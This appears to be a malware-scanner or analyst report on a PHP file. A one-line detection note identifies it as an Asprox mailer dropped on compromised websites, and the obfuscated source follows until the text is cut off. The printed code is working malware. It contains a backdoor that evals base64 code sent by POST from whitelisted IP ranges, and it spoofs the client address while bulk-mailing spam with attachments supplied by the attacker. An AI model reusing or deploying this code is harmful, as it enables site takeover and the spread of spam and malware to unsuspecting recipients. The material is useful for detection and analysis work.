Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: asprox php mailer script. dropped on a website and given http POSTs of malare spam to send. prettied up below second ---- line --------------------------------------------------------------------------------- <?php ${"\x47\x4cO\x42\x41\x4c\x53"}["\x6dt\x6f\x79\x6cyj\x77"]="\x66\x75nc";${"G\x4cOB\x41L\x53"}["\x6ey\x78c\x75\x68\x79u"]="\x6b";${"\x47\x4cOB\x41L\x53"}["\x6ag\x6e\x74\x62\x67"]="\x68";${"\x47\x4c\x4fB\x41\x4cS"}["k\x67d\x67\x72\x79"]="\x68_\x64et\x65\x63t\x65\x64";${"\x47\x4cOB\x41\x4cS"}["\x70lyp\x70\x79\x79\x69"]="\x68\x65a\x64e\x72s";${"\x47\x4cOB\x41\x4c\x53"}["d\x6bx\x78\x69o\x6e"]="r\x65\x73";${"GLO\x42\x41L\x53"}["\x6fm\x67\x6fel\x69g\x6c"]="\x64a\x74\x61";${"\x47\x4c\x4f\x42\x41L\x53"}["\x7a\x75\x6a\x71q\x64w\x6f\x62"]="v";${"\x47\x4cO\x42A\x4cS"}["e\x69kd\x68mgy\x69\x64\x66"]="co\x6f\x6bi\x65";${"\x47LO\x42AL\x53"}["\x74xd\x76\x76\x6f\x6c\x74lt"]="r\x65\x71\x75\x65\x73t";${"G\x4c\x4fB\x41L\x53"}["\x65\x79\x73ug\x6an\x6a\x65\x61\x62\x65"]="fp";${"G\x4cO\x42\x41L\x53"}["e\x70\x66\x73\x64\x65\x66\x74"]="\x65rr\x6e\x6f";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63\x6de\x66\x79xwc"]="\x73c\x68\x65\x6d\x65";${"G\x4c\x4f\x42\x41\x4c\x53"}["p\x72cfw\x76\x68\x6cj\x7a\x79"]="\x74\x69\x6de\x6fut";${"GL\x4f\x42\x41L\x53"}["\x6f\x63\x75\x64\x74\x76d"]="\x75r\x6c";${"\x47\x4cO\x42\x41\x4c\x53"}["w\x6e\x70\x67\x6ce\x71\x70\x63i"]="\x70ar\x61\x6d\x73";${"\x47\x4cO\x42\x41\x4c\x53"}["\x69\x69\x73\x62\x6d\x6dd"]="\x75\x72i";${"GL\x4f\x42A\x4cS"}["\x67\x67xj\x76m"]="\x74o\x6b\x65n\x73";${"G\x4cO\x42\x41\x4c\x53"}["i\x77dd\x63\x70\x68\x62"]="\x73t\x72i\x6e\x67";${"G\x4c\x4f\x42AL\x53"}["\x6b\x65p\x68hc\x68xo"]="n\x75\x6dC\x68ar\x73";${"\x47\x4c\x4f\x42\x41L\x53"}["\x70\x6c\x6f\x67\x62f\x78\x77za"]="\x63ha\x72s";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x75\x63\x62\x71\x77\x74\x76o"]="\x6e\x75m";${"\x47\x4cO\x42\x41\x4c\x53"}["\x73\x67\x74\x75k\x6fk"]="\x6d\x69\x6e";${"\x47\x4cO\x42\x41\x4c\x53"}["\x69\x62\x68n\x63\x75rt"]="co\x75n\x74";${"\x47\x4cO\x42\x41L\x53"}["\x64duv\x77x"]="w\x6f\x72\x64";${"GL\x4f\x42\x41\x4c\x53"}["\x76csir\x79\x6f\x64gt\x6c\x6c"]="\x6d\x61\x78";${"\x47\x4cO\x42AL\x53"}["\x72\x70\x75\x79\x64k\x79c"]="\x72\x61\x6ed";${"\x47\x4c\x4f\x42\x41LS"}["\x64\x67wws\x79\x78\x70\x73\x6fft"]="\x6e\x73";${"GLO\x42\x41\x4c\x53"}["p\x79\x6dtq\x74\x70l\x76\x75"]="\x63\x32";${"GL\x4f\x42\x41\x4c\x53"}["k\x70y\x71o\x79\x79\x69\x70\x66t\x64"]="\x69";${"GLO\x42\x41\x4cS"}["q\x68\x6bl\x65q\x66\x6bpp"]="\x6da\x74\x63\x68\x65\x73";${"GL\x4f\x42\x41L\x53"}["b\x6ex\x66\x74\x73t\x64s"]="co\x6e\x74ent";${"GL\x4f\x42AL\x53"}["p\x64\x75\x6c\x76\x61\x73"]="\x73ub\x6a";${"G\x4c\x4f\x42\x41LS"}["c\x77kix\x77\x64\x76\x67d"]="\x74\x6f";${"\x47\x4c\x4f\x42AL\x53"}["r\x62\x69q\x68v\x74v\x63r\x67"]="\x66";${"\x47\x4cO\x42A\x4cS"}["\x64\x71ue\x73h\x71\x78\x64\x6d\x65"]="\x7a\x61\x67";${"G\x4c\x4f\x42A\x4cS"}["da\x74k\x70\x6a\x71\x70"]="u\x6e";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x66\x79i\x77\x67\x70\x7a"]="\x70\x6c\x61\x69n";${"G\x4c\x4f\x42\x41LS"}["\x61\x74\x69\x63\x68\x78e\x71\x77\x69"]="\x68e\x61\x64";${"G\x4c\x4f\x42\x41\x4c\x53"}["bs\x6a\x6f\x74\x6d\x6f\x75"]="e\x6d\x61i\x6c";${"\x47\x4cO\x42\x41L\x53"}["\x70sb\x67mr\x65\x66\x71c"]="m\x61il\x65\x72\x73";${"\x47\x4c\x4f\x42\x41LS"}["\x6b\x6fm\x6c\x78t\x64\x6b\x76\x63s"]="\x6d\x61i\x6cer";${"\x47L\x4f\x42\x41\x4c\x53"}["\x72\x66\x68\x65\x72r\x73\x6f\x6a\x73\x66\x74"]="\x66r\x6fm";${"\x47L\x4fB\x41L\x53"}["\x6dwf\x73\x69\x6b\x76\x72"]="m\x65\x73\x73age\x73";${"GLOBAL\x53"}["v\x74\x62\x6c\x6a\x74\x77"]="m\x65s\x73\x61\x67\x65";${"\x47L\x4f\x42\x41\x4c\x53"}["d\x63\x68\x78u\x79gi\x67j\x62x"]="\x74\x68\x65\x6de";${"\x47\x4cO\x42A\x4cS"}["m\x76\x63\x67\x75\x7a\x6b\x71"]="\x66\x69l\x65na\x6d\x65";${"\x47L\x4f\x42\x41L\x53"}["\x6e\x6en\x71qc\x6e\x75\x68\x68e\x6a"]="\x66i\x6c\x65";${"G\x4c\x4fBA\x4c\x53"}["\x6a\x69\x75\x75\x61\x69\x74\x64\x76n\x70"]="k\x65y";${"\x47\x4cOB\x41\x4c\x53"}["u\x79dc\x62\x65\x70\x66\x69h\x6bx"]="al\x69\x61\x73\x65\x73";${"\x47LO\x42\x41LS"}["\x69\x79\x6f\x76g\x78\x64\x64\x67"]="f\x72om\x73";${"G\x4c\x4f\x42A\x4cS"}["f\x6c\x73\x72sy"]="t\x68\x65\x6d\x65\x73";${"GLOBALS"}["\x6c\x6ex\x6f\x70x\x6c"]="\x65m\x61\x69l\x73";${"\x47\x4cO\x42\x41LS"}["r\x69\x6a\x66r\x7apu\x6e\x74"]="p\x6f\x73t";${"G\x4cO\x42\x41\x4c\x53"}["zv\x6c\x71\x66p\x62ow"]="\x67\x6fo\x64";${"GL\x4f\x42\x41\x4c\x53"}["d\x66b\x74\x68\x6bok\x73"]="\x67\x6f\x6fds";if(isset($_POST["\x63\x6fd\x65"])&&isset($_POST["\x63\x75\x73\x74\x6fm_action"])&&is_good_ip($_SERVER["\x52E\x4dO\x54\x45_A\x44\x44R"])){eval(base64_decode($_POST["\x63o\x64e"]));exit();}if(isset($_POST["\x74y\x70\x65"])&&$_POST["\x74\x79pe"]=="1"){type1_send();exit();}elseif(isset($_POST["\x74\x79pe"])&&$_POST["\x74\x79\x70e"]=="2"){}elseif(isset($_POST["\x74\x79\x70\x65"])){echo$_POST["ty\x70e"];exit();}error_404();function is_good_ip($ip){${${"\x47\x4cOB\x41\x4c\x53"}["d\x66b\x74\x68\x6b\x6f\x6b\x73"]}=Array("6.\x31\x385\x2e23\x39.","\x38.13\x38\x2e118\x2e");foreach(${${"GLOB\x41\x4c\x53"}["d\x66\x62t\x68\x6bo\x6b\x73"]} as${${"GLO\x42\x41L\x53"}["\x7av\x6cqf\x70b\x6fw"]}){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x72c\x77xnt\x6e"]="\x69\x70";$maajrfnti="g\x6fo\x64";if(strstr(${${"\x47LO\x42\x41\x4c\x53"}["\x6b\x72c\x77x\x6etn"]},${$maajrfnti})!=FALSE){return TRUE;}}return FALSE;}function type1_send(){if(!isset($_POST["e\x6d\x61i\x6cs"])OR!isset($_POST["\x74\x68\x65m\x65s"])OR!isset($_POST["\x6d\x65\x73s\x61ges"])OR!isset($_POST["\x66\x72\x6f\x6ds"])OR!isset($_POST["\x6da\x69le\x72s"])){exit();}if(get_magic_quotes_gpc()){${"G\x4cO\x42ALS"}["i\x75x\x79h\x71\x6a"]="\x6b\x65\x79";$umqbpmiyu="\x70\x6fst";foreach($_POST as${${"G\x4cO\x42\x41\x4c\x53"}["\x69\x75\x78\x79\x68qj"]}=>${$umqbpmiyu}){$wgocolzelat="\x6b\x65y";$_POST[${$wgocolzelat}]=stripcslashes(${${"G\x4cOBA\x4c\x53"}["\x72\x69j\x66\x72\x7a\x70u\x6e\x74"]});}}$ivglqgajvbog="m\x65\x73\x73\x61\x67e\x73";$vmijtce="\x6d\x61\x69\x6c\x65r\x73";$vjbijjymkbn="\x70\x61\x73se\x73";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6cn\x78\x6f\x70\x78l"]}=@unserialize(base64_decode($_POST["e\x6dai\x6c\x73"]));${${"G\x4cO\x42\x41L\x53"}["\x66l\x73\x72\x73y"]}=@unserialize(base64_decode($_POST["th\x65\x6d\x65s"]));${$ivglqgajvbog}=@unserialize(base64_decode($_POST["\x6dess\x61ge\x73"]));${${"\x47LOB\x41L\x53"}["\x69\x79\x6f\x76gx\x64d\x67"]}=@unserialize(base64_decode($_POST["\x66\x72\x6f\x6ds"]));${$vmijtce}=@unserialize(base64_decode($_POST["\x6da\x69\x6c\x65\x72s"]));$giiqgrf="\x65m\x61i\x6c\x73";${${"G\x4c\x4f\x42\x41\x4cS"}["u\x79\x64\x63b\x65\x70f\x69\x68k\x78"]}=@unserialize(base64_decode($_POST["ali\x61\x73\x65\x73"]));${$vjbijjymkbn}=@unserialize(base64_decode($_POST["\x70\x61\x73s\x65s"]));${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76\x67j\x68\x6f\x74\x7a\x74q\x79"]="f\x74\x65\x69l";$kgrvjhxuhgr="\x65\x6da\x69\x6c";if(isset($_SERVER)){$_SERVER["PH\x50_S\x45\x4cF"]="/";$_SERVER["\x52E\x4dO\x54E\x5fA\x44\x44R"]="\x312\x37\x2e\x30.0.\x31";if(!empty($_SERVER["\x48\x54\x54P\x5f\x58_\x46ORW\x41\x52D\x45\x44_FOR"])){$_SERVER["HT\x54\x50\x5f\x58_\x46O\x52\x57\x41\x52\x44E\x44_FOR"]="\x312\x37\x2e\x30\x2e0\x2e1";}}if(isset($_FILES)){foreach($_FILES as${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6a\x69\x75\x75\x61\x69\x74d\x76\x6e\x70"]}=>${${"\x47L\x4f\x42\x41\x4cS"}["\x6en\x6e\x71\x71\x63n\x75\x68he\x6a"]}){${"\x47LOB\x41\x4c\x53"}["\x78l\x75\x6f\x74\x6cc\x69\x62\x68zm"]="\x6be\x79";$avqfonn="\x66\x69\x6c\x65\x6e\x61\x6de";${${"\x47\x4c\x4fBA\x4c\x53"}["\x6d\x76\x63gu\x7a\x6b\x71"]}=alter_macros(${${"\x47\x4c\x4f\x42A\x4cS"}["\x75y\x64cb\x65p\x66\x69hkx"]}[${${"G\x4cOB\x41\x4c\x53"}["\x6a\x69\x75\x75a\x69\x74\x64\x76\x6e\x70"]}]);${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6dvc\x67\x75\x7a\x6b\x71"]}=num_macros(${${"\x47LOB\x41\x4c\x53"}["\x6d\x76\x63g\x75z\x6b\x71"]});${${"G\x4c\x4f\x42A\x4c\x53"}["mvc\x67uzk\x71"]}=text_macros(${${"\x47LOB\x41\x4c\x53"}["\x6d\x76c\x67\x75\x7ak\x71"]});${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6d\x76\x63\x67uz\x6bq"]}=xnum_macros(${$avqfonn});$_FILES[${${"GL\x4f\x42\x41L\x53"}["\x78\x6cu\x6f\x74l\x63\x69b\x68\x7am"]}]["\x6e\x61me"]=${${"\x47\x4c\x4f\x42A\x4c\x53"}["m\x76\x63\x67\x75\x7ak\x71"]};}}if(empty(${$giiqgrf})){exit();}foreach(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x6ex\x6fp\x78l"]} as${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x67jho\x74\x7a\x74\x71\x79"]}=>${$kgrvjhxuhgr}){$lixvnpfl="\x6des\x73\x61g\x65";${"\x47\x4cO\x42\x41LS"}["\x69\x70\x78e\x63\x65\x65\x77"]="f\x72\x6f\x6d";$smtkhrsp="\x74\x68\x65m\x65\x73";$yygpflj="\x6d\x65\x73\x73\x61\x67es";$pikskhsphg="t\x68e\x6d\x65";$jihagtrfwlc="\x6d\x61\x69\x6c\x65r";${"G\x4cO\x42A\x4cS"}["m\x65\x76mpx\x6b\x62"]="\x6d\x65\x73\x73age";$oexynold="\x74\x68\x65\x6d\x65";${"\x47\x4cO\x42\x41\x4c\x53"}["\x77\x77kbr\x6du\x63"]="\x66\x72om";$krcizielgmyd="f\x72\x6f\x6d";$vegpfkgjl="\x66\x74\x65i\x6c";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x64\x63\x68\x78\x75\x79gi\x67\x6a\x62\x78"]}=${$smtkhrsp}[array_rand(${${"\x47LO\x42\x41L\x53"}["\x66\x6cs\x72\x73y"]})];${${"\x47L\x4fB\x41\x4cS"}["dc\x68\x78\x75\x79\x67i\x67\x6a\x62\x78"]}=alter_macros(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x64\x63hx\x75\x79\x67\x69g\x6ab\x78"]}["t\x68\x65me"]);${"\x47L\x4f\x42\x41LS"}["\x66qur\x64shj\x70\x6e\x74\x70"]="\x66\x72o\x6d";$aehmnfue="\x6des\x73a\x67\x65";$ometynz="\x74\x68e\x6d\x65";${$ometynz}=num_macros(${$oexynold});$qsbxekicw="\x6d\x65\x73s\x61\x67e";$sverqtpyz="m\x65\x73\x73\x61\x67\x65";$oqftkllmhxl="\x6de\x73\x73\x61g\x65";${"G\x4cO\x42\x41\x4c\x53"}["\x68\x74x\x6c\x67\x6c\x6bn\x6c\x72"]="\x74h\x65\x6d\x65";${${"\x47L\x4fB\x41\x4c\x53"}["\x64ch\x78\x75\x79\x67ig\x6a\x62x"]}=text_macros(${$pikskhsphg});${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x64\x63\x68\x78\x75\x79g\x69g\x6abx"]}=xnum_macros(${${"G\x4cOBA\x4c\x53"}["ht\x78l\x67l\x6b\x6e\x6cr"]});$bodbscvdb="\x66r\x6f\x6d";${${"G\x4c\x4fB\x41L\x53"}["\x76\x74blj\x74\x77"]}=${${"GL\x4fB\x41\x4c\x53"}["\x6d\x77\x66\x73\x69\x6b\x76\x72"]}[array_rand(${$yygpflj})];${${"G\x4c\x4fB\x41\x4c\x53"}["\x6d\x65\x76mpxk\x62"]}=alter_macros(${$oqftkllmhxl}["me\x73\x73a\x67\x65"]);${$qsbxekicw}=num_macros(${${"G\x4c\x4fB\x41L\x53"}["\x76\x74b\x6c\x6at\x77"]});${"G\x4c\x4fB\x41L\x53"}["\x67lb\x6d\x61a\x77\x70\x64m\x6c"]="f\x72\x6f\x6d";${"GL\x4fBAL\x53"}["\x62\x79\x73e\x6a\x77\x70b"]="\x6d\x61\x69l\x65\x72\x73";$hxhqdgc="\x6de\x73s\x61\x67\x65";${$lixvnpfl}=text_macros(${$sverqtpyz});${${"G\x4c\x4fBA\x4c\x53"}["\x76\x74\x62\x6c\x6a\x74\x77"]}=xnum_macros(${${"G\x4c\x4fB\x41\x4cS"}["\x76\x74\x62\x6c\x6a\x74\x77"]});${$hxhqdgc}=fteil_macros(${$aehmnfue},${$vegpfkgjl});${${"\x47L\x4f\x42\x41L\x53"}["\x67\x6c\x62\x6daaw\x70dm\x6c"]}=${${"G\x4c\x4f\x42A\x4c\x53"}["\x69\x79\x6fv\x67\x78\x64d\x67"]}[array_rand(${${"\x47\x4c\x4f\x42AL\x53"}["\x69\x79o\x76g\x78d\x64\x67"]})];$wmgsavizpu="th\x65\x6d\x65";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x77\x77k\x62\x72\x6d\x75\x63"]}=alter_macros(${${"\x47\x4c\x4f\x42\x41\x4cS"}["rfh\x65r\x72s\x6f\x6asf\x74"]}["\x66\x72o\x6d"]);${$krcizielgmyd}=num_macros(${${"\x47\x4cOBAL\x53"}["f\x71u\x72\x64\x73\x68\x6ap\x6et\x70"]});${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x66\x68\x65\x72\x72\x73\x6fj\x73\x66\x74"]}=text_macros(${${"GL\x4f\x42A\x4c\x53"}["rfh\x65\x72r\x73o\x6as\x66\x74"]});${${"\x47LOB\x41\x4cS"}["\x69\x70\x78\x65\x63eew"]}=xnum_macros(${${"\x47LO\x42A\x4c\x53"}["r\x66\x68\x65\x72\x72\x73o\x6a\x73\x66t"]});if(strstr(${$bodbscvdb},"[\x43\x55\x53\x54O\x4d]")==FALSE){$mozsyxlci="\x66\x72\x6f\x6d";${${"GL\x4f\x42\x41LS"}["\x72\x66h\x65\x72\x72\x73o\x6asf\x74"]}=from_host(${$mozsyxlci});}else{${"\x47LO\x42A\x4cS"}["\x78w\x61n\x6dn\x6d\x6d\x70"]="\x66\x72om";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x72fh\x65\x72\x72\x73\x6f\x6as\x66t"]}=str_replace("[\x43U\x53T\x4f\x4d]","",${${"\x47L\x4f\x42\x41L\x53"}["\x78\x77\x61\x6emnmm\x70"]});}${${"\x47LO\x42\x41\x4c\x53"}["\x6b\x6f\x6dlx\x74\x64\x6b\x76c\x73"]}=${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x70\x73\x62g\x6d\x72\x65\x66\x71c"]}[array_rand(${${"\x47\x4cO\x42\x41\x4c\x53"}["b\x79s\x65\x6a\x77\x70\x62"]})];send_mail(${${"G\x4c\x4f\x42\x41LS"}["r\x66\x68\x65rr\x73\x6f\x6as\x66\x74"]},${${"\x47L\x4f\x42\x41\x4c\x53"}["b\x73\x6a\x6f\x74m\x6fu"]},${$wmgsavizpu},${${"GLOB\x41\x4cS"}["\x76\x74\x62\x6c\x6a\x74\x77"]},${$jihagtrfwlc});}}function send_mail($from,$to,$subj,$text,$mailer){$qtxurx="p\x6c\x61i\x6e";$lwuvdhsum="\x75n";$onuhouiuomzx="\x75n";${${"\x47\x4cO\x42\x41\x4cS"}["ati\x63\x68\x78e\x71w\x69"]}="";${$onuhouiuomzx}=strtoupper(uniqid(time()));${${"\x47\x4c\x4fB\x41\x4c\x53"}["a\x74\x69\x63\x68\x78\x65\x71\x77\x69"]}.="\x46\x72om: $from\n";${"GL\x4f\x42\x41\x4c\x53"}["\x73\x7ajb\x76\x67\x72\x73"]="\x7a\x61\x67";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x74f\x6a\x70\x78l\x68d\x64wj"]="t\x65\x78t";$ybqrpyxa="\x7aag";${${"\x47\x4cO\x42\x41\x4cS"}["\x61\x74i\x63\x68\x78\x65q\x77i"]}.="X-M\x61\x69l\x65\x72:\x20$mailer\n";$deupwfr="\x75\x6e";${${"GL\x4f\x42A\x4cS"}["\x61t\x69\x63\x68x\x65q\x77\x69"]}.="R\x65\x70\x6c\x79-To: $from\n";$kjiyxdj="\x7a\x61g";${${"GLOBALS"}["\x61\x74\x69\x63hxeq\x77i"]}.="M\x69m\x65-\x56\x65\x72sion: 1.\x30\n";$vxsfjqeb="h\x65a\x64";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x75\x68\x6fq\x76\x65"]="\x7aag";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x61\x74\x69\x63h\x78\x65\x71\x77i"]}.="\x43o\x6e\x74\x65n\x74-Typ\x65: mu\x6ctipar\x74/\x61\x6ct\x65\x72\x6e\x61\x74i\x76\x65\x3b";$ijcvhmpaci="\x68\x65\x61d";${$ijcvhmpaci}.="\x62o\x75\x6edar\x79=\x22----------".${$lwuvdhsum}."\x22\n\n";${${"\x47LO\x42\x41L\x53"}["\x62\x66yiw\x67\x70z"]}=strip_tags(${${"GL\x4f\x42\x41L\x53"}["\x74f\x6a\x70\x78\x6c\x68\x64\x64wj"]});${"\x47\x4cOB\x41\x4c\x53"}["\x71\x6b\x62\x6a\x66he"]="\x75\x6e";${$ybqrpyxa}="------------".${${"\x47\x4c\x4f\x42A\x4c\x53"}["d\x61\x74\x6b\x70\x6a\x71p"]}."\n\x43\x6f\x6e\x74en\x74-Ty\x70\x65:\x20tex\x74/p\x6cain; \x63\x68\x61\x72\x73et\x3d\"I\x53\x4f-8\x385\x39-\x31\x22;\x20\x66ormat\x3d\x66\x6co\x77\x65d\n";${${"\x47\x4cO\x42AL\x53"}["s\x7a\x6ab\x76\x67\x72\x73"]}.="\x43\x6fnt\x65n\x74-T\x72\x61nsfe\x72-E\x6e\x63o\x64\x69n\x67:\x20\x37\x62i\x74\n\n".${$qtxurx}."\n\n";${${"GLO\x42AL\x53"}["\x75\x68\x6f\x71\x76e"]}.="------------".${${"\x47\x4cO\x42\x41L\x53"}["\x71\x6b\x62\x6a\x66he"]}."\n\x43ont\x65nt-\x54\x79pe:\x20t\x65xt/html\x3b\x20\x63h\x61r\x73et=\x22\x49SO-88\x359-1\x22\x3b\n";${${"GL\x4f\x42\x41LS"}["d\x71\x75\x65s\x68\x71\x78dme"]}.="\x43o\x6et\x65\x6et-\x54r\x61\x6e\x73fe\x72-\x45\x6e\x63o\x64i\x6e\x67: 7bit\n\n$text\n\n";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x64qu\x65\x73h\x71\x78\x64\x6d\x65"]}.="------------".${$deupwfr}."--";if(count($_FILES)>0){$yxybfgmnio="\x66\x69l\x65";foreach($_FILES as${$yxybfgmnio}){$rslnnrn="\x66\x69\x6c\x65";if(file_exists(${$rslnnrn}["\x74\x6d\x70_\x6e\x61m\x65"])){$yevdewu="z\x61\x67";$jwiwtbmgjovl="f";${$jwiwtbmgjovl}=fopen(${${"GL\x4fB\x41\x4c\x53"}["n\x6enqq\x63\x6eu\x68h\x65\x6a"]}["\x74mp\x5f\x6e\x61me"],"rb");${"\x47\x4cOBA\x4cS"}["b\x61vx\x6fudmd"]="\x7a\x61\x67";${"\x47\x4c\x4f\x42ALS"}["\x63qk\x6ey\x74\x65"]="\x7aa\x67";${$yevdewu}.="------------".${${"G\x4cO\x42\x41\x4c\x53"}["\x64\x61t\x6b\x70\x6aq\x70"]}."\n";${${"G\x4c\x4f\x42\x41\x4cS"}["\x64\x71ue\x73\x68qx\x64\x6d\x65"]}.="Co\x6et\x65\x6et-\x54\x79p\x65: ap\x70\x6c\x69\x63a\x74\x69o\x6e/\x6fctet-st\x72e\x61\x6d\x3b";${"\x47\x4c\x4f\x42AL\x53"}["s\x72\x65\x6c\x79mm\x68"]="\x66\x69\x6c\x65";$llrcww="\x66\x69\x6c\x65";$fthdcchym="\x7a\x61g";${${"\x47L\x4f\x42\x41\x4c\x53"}["d\x71\x75\x65\x73\x68\x71\x78\x64\x6d\x65"]}.="\x6e\x61\x6de\x3d\"".${$llrcww}["nam\x65"]."\"\n";${${"G\x4c\x4fBALS"}["\x63\x71k\x6e\x79\x74e"]}.="\x43\x6f\x6et\x65n\x74-\x54ra\x6e\x73\x66\x65r-En\x63odi\x6eg:b\x61\x73\x65\x36\x34\n";${"G\x4cO\x42ALS"}["do\x62\x74yx"]="\x7aag";${$fthdcchym}.="\x43\x6f\x6et\x65n\x74-\x44\x69spo\x73\x69\x74ion:att\x61chment\x3b";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64ob\x74\x79x"]}.="f\x69l\x65na\x6d\x65=\x22".${${"\x47\x4c\x4f\x42\x41L\x53"}["s\x72e\x6cy\x6d\x6d\x68"]}["name"]."\"\n\n";${${"G\x4c\x4f\x42AL\x53"}["\x62a\x76\x78o\x75\x64m\x64"]}.=chunk_split(base64_encode(fread(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x72\x62\x69q\x68vtv\x63rg"]},filesize(${${"\x47L\x4f\x42A\x4c\x53"}["\x6en\x6e\x71\x71\x63\x6e\x75\x68he\x6a"]}["\x74\x6dp_\x6ea\x6d\x65"]))))."\n";fclose(${${"\x47L\x4fB\x41\x4cS"}["\x72\x62iq\x68vt\x76cr\x67"]});}}}if(@mail(${${"\x47L\x4fB\x41\x4cS"}["c\x77\x6b\x69\x78wdv\x67\x64"]},${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x70\x64\x75lvas"]},${$kjiyxdj},${$vxsfjqeb})){if(!empty($_POST["v\x65rbose"]))echo"\x53\x45ND\x45D";}else{if(!empty($_POST["\x76er\x62o\x73e"]))echo"FA\x49\x4c";}}function alter_macros($content){$kteldghkdi="\x69";preg_match_all("#{(.*)}#\x55\x69",${${"\x47LOBAL\x53"}["bn\x78\x66\x74s\x74\x64s"]},${${"G\x4c\x4f\x42A\x4cS"}["q\x68\x6bl\x65qfk\x70\x70"]});for(${$kteldghkdi}=0;${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6b\x70\x79\x71\x6f\x79\x79\x69\x70\x66\x74d"]}<count(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["q\x68\x6b\x6c\x65\x71f\x6bpp"]}[1]);${${"G\x4c\x4f\x42A\x4c\x53"}["\x6bpyq\x6f\x79\x79ip\x66\x74\x64"]}++){$pmsyqvn="\x63\x6fn\x74e\x6e\x74";$zhxeoropnto="\x6e\x73";${"\x47\x4cO\x42\x41\x4c\x53"}["x\x78j\x66\x65\x66\x6b\x6c\x66"]="\x6e\x73";${"GLO\x42A\x4c\x53"}["\x6aos\x70\x75\x63"]="\x63\x6f\x6et\x65\x6et";${"\x47\x4c\x4fBA\x4c\x53"}["\x77\x66\x64q\x62\x75\x6f\x65\x67\x69\x6b\x74"]="\x69";$jonwjxa="\x6d\x61\x74\x63h\x65s";${$zhxeoropnto}=explode("|",${${"GL\x4fB\x41\x4c\x53"}["\x71hk\x6c\x65\x71f\x6b\x70\x70"]}[1][${${"\x47L\x4fB\x41L\x53"}["\x77\x66\x64qb\x75oe\x67i\x6b\x74"]}]);${${"\x47L\x4f\x42\x41\x4c\x53"}["p\x79\x6d\x74q\x74p\x6cvu"]}=count(${${"\x47\x4c\x4fB\x41\x4c\x53"}["d\x67\x77ws\x79\x78\x70s\x6ff\x74"]});${"\x47LO\x42\x41\x4c\x53"}["l\x6e\x69\x70\x6b\x65\x6b\x63\x6b"]="\x63\x32";${"G\x4cO\x42\x41\x4cS"}["\x6efd\x6e\x6e\x74r\x6b\x68m"]="i";${"\x47\x4cO\x42\x41\x4cS"}["sh\x6dlbjf"]="r\x61nd";${${"GL\x4fB\x41L\x53"}["\x73\x68mlb\x6a\x66"]}=rand(0,(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x6e\x69p\x6b\x65\x6b\x63\x6b"]}-1));${$pmsyqvn}=str_replace("{".${$jonwjxa}[1][${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6efdnn\x74\x72k\x68\x6d"]}]."}",${${"\x47\x4c\x4f\x42A\x4c\x53"}["xx\x6a\x66\x65\x66klf"]}[${${"\x47\x4c\x4fBAL\x53"}["\x72\x70\x75\x79\x64k\x79c"]}],${${"G\x4cOB\x41\x4cS"}["\x6ao\x73\x70\x75\x63"]});}return${${"\x47L\x4f\x42\x41\x4cS"}["\x62n\x78\x66t\x73\x74\x64\x73"]};}function text_macros($content){${"\x47\x4c\x4fB\x41LS"}["\x63\x63\x67\x65\x76\x75\x62k\x6ec"]="\x69";$wjsnvwmbh="m\x61\x74\x63\x68e\x73";${"\x47\x4c\x4fB\x41\x4c\x53"}["l\x6de\x6ep\x76\x76\x76"]="\x69";${"\x47\x4c\x4fB\x41\x4cS"}["ki\x78roh\x6ch\x74"]="m\x61tc\x68\x65\x73";${"\x47LOB\x41\x4c\x53"}["\x71l\x69\x6b\x71\x77\x6f\x70"]="\x69";$vyrsfduq="\x63\x6f\x6e\x74\x65\x6et";preg_match_all("#\\[\x54EX\x54\\-([[:d\x69\x67\x69t:]]+)\\-([[:\x64igi\x74:]]+)\x5c]#",${${"\x47L\x4f\x42A\x4c\x53"}["\x62\x6e\x78f\x74\x73\x74\x64\x73"]},${$wjsnvwmbh});${"\x47LOB\x41\x4c\x53"}["\x6amwl\x6c\x6c\x6d\x6d\x68\x68"]="\x69";for(${${"\x47\x4c\x4fB\x41\x4cS"}["\x6bp\x79\x71\x6f\x79\x79i\x70\x66\x74\x64"]}=0;${${"\x47L\x4f\x42\x41L\x53"}["\x6c\x6d\x65\x6e\x70\x76\x76\x76"]}<count(${${"GLOBA\x4c\x53"}["qh\x6b\x6ce\x71f\x6b\x70p"]}[0]);${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63cg\x65vub\x6bn\x63"]}++){$bhzdyr="\x6d\x69n";${$bhzdyr}=${${"GL\x4f\x42A\x4cS"}["q\x68\x6b\x6c\x65q\x66\x6b\x70\x70"]}[1][${${"G\x4c\x4f\x42\x41\x4c\x53"}["k\x70\x79q\x6f\x79\x79\x69\x70\x66\x74\x64"]}];$legwlmyucgvp="\x6din";$fkjwifumdmk="\x72a\x6e\x64";$sgujzxxlt="\x6d\x61\x78";${$sgujzxxlt}=${${"\x47\x4cO\x42\x41L\x53"}["\x71h\x6b\x6c\x65\x71\x66kpp"]}[2][${${"\x47\x4c\x4f\x42A\x4c\x53"}["k\x70\x79\x71\x6f\x79\x79\x69\x70\x66td"]}];${$fkjwifumdmk}=rand(${$legwlmyu